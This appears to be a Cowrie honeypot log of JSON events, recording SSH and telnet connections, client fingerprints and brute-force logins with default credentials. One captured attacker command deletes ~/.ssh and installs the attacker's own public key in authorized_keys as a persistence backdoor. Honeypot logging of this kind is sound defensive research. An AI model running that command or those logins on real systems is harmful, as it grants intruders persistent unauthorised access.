{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:12.527098Z","src_ip":"114.35.59.237","session":"2388c73d21f2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle@1","message":"login attempt [oracle/oracle@1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:13.432408Z","src_ip":"114.35.59.237","session":"2388c73d21f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.827008962631226,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:13.722564Z","src_ip":"161.132.53.68","session":"9540bfa2d047","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:13.913603Z","src_ip":"114.35.59.237","session":"2388c73d21f2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:13.917018Z","src_ip":"114.35.59.237","session":"2388c73d21f2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:13.921612Z","src_ip":"114.35.59.237","session":"2388c73d21f2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:14.139994Z","src_ip":"114.35.59.237","session":"2388c73d21f2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:14.620821Z","src_ip":"114.35.59.237","session":"2388c73d21f2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:14.624680Z","src_ip":"114.35.59.237","session":"2388c73d21f2","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:14.848604Z","src_ip":"114.35.59.237","session":"2388c73d21f2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:14.853841Z","src_ip":"114.35.59.237","session":"2388c73d21f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":49234,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7c6cace48fb","protocol":"ssh","message":"New connection: 114.35.59.237:49234 (10.17.0.5:22) [session: e7c6cace48fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:15.044424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:15.052009Z","src_ip":"114.35.59.237","session":"e7c6cace48fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:15.260101Z","src_ip":"114.35.59.237","session":"e7c6cace48fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:16.117798Z","src_ip":"114.35.59.237","session":"e7c6cace48fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:17.333185Z","src_ip":"114.35.59.237","session":"e7c6cace48fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":49236,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d97759ec36b","protocol":"ssh","message":"New connection: 114.35.59.237:49236 (10.17.0.5:22) [session: 8d97759ec36b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:17.547489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:17.553469Z","src_ip":"114.35.59.237","session":"8d97759ec36b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.85970163345337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:17.662575Z","src_ip":"161.132.53.68","session":"08499d251f5a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:17.775952Z","src_ip":"114.35.59.237","session":"8d97759ec36b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.546217679977417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:18.110181Z","src_ip":"161.132.53.68","session":"59be3195aedb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53916,"dst_ip":"10.17.0.5","dst_port":23,"session":"01aa4649de2e","protocol":"telnet","message":"New connection: 104.245.105.2:53916 (10.17.0.5:23) [session: 01aa4649de2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:18.369143Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:18.664404Z","src_ip":"114.35.59.237","session":"8d97759ec36b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:18.884927Z","src_ip":"114.35.59.237","session":"2388c73d21f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:18.891123Z","src_ip":"114.35.59.237","session":"8d97759ec36b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.95399880409241,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:19.682029Z","src_ip":"161.132.53.68","session":"c95cf352864f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.44321274757385,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:19.836896Z","src_ip":"161.132.53.68","session":"edabb2701cff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.002835035324097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:22.234854Z","src_ip":"161.132.53.68","session":"ac15368cc367","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":52164,"dst_ip":"10.17.0.5","dst_port":22,"session":"755c8505b8fe","protocol":"ssh","message":"New connection: 124.18.182.99:52164 (10.17.0.5:22) [session: 755c8505b8fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:27.546779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:27.551447Z","src_ip":"124.18.182.99","session":"755c8505b8fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":34952,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c17350d3988","protocol":"telnet","message":"New connection: 161.132.53.68:34952 (159.203.135.109:23) [session: 2c17350d3988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:27.699163Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:27.725937Z","src_ip":"124.18.182.99","session":"755c8505b8fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":34958,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c66811fdd1e","protocol":"telnet","message":"New connection: 161.132.53.68:34958 (159.203.135.109:23) [session: 9c66811fdd1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:27.900645Z"}
{"eventid":"cowrie.login.failed","username":"cloudadmin","password":"cloudadmin","message":"login attempt [cloudadmin/cloudadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:28.442521Z","src_ip":"124.18.182.99","session":"755c8505b8fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:29.619085Z","src_ip":"124.18.182.99","session":"755c8505b8fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":51460,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1b43821bc21","protocol":"ssh","message":"New connection: 220.119.37.141:51460 (10.17.0.5:22) [session: a1b43821bc21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:29.951688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:29.956041Z","src_ip":"220.119.37.141","session":"a1b43821bc21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:30.148873Z","src_ip":"220.119.37.141","session":"a1b43821bc21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.719964027404785,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:30.437273Z","src_ip":"161.132.53.68","session":"aa4e4541bb7b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678!","message":"login attempt [root/12345678!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:30.953939Z","src_ip":"220.119.37.141","session":"a1b43821bc21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":5253,"dst_ip":"159.203.135.109","dst_port":22,"session":"685621db4a6f","protocol":"ssh","message":"New connection: 193.24.211.95:5253 (159.203.135.109:22) [session: 685621db4a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:31.969404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:32.011950Z","src_ip":"193.24.211.95","session":"685621db4a6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:32.121980Z","src_ip":"193.24.211.95","session":"685621db4a6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:32.150310Z","src_ip":"220.119.37.141","session":"a1b43821bc21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ax400","message":"login attempt [root/ax400] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:32.584465Z","src_ip":"193.24.211.95","session":"685621db4a6f","protocol":"ssh"}
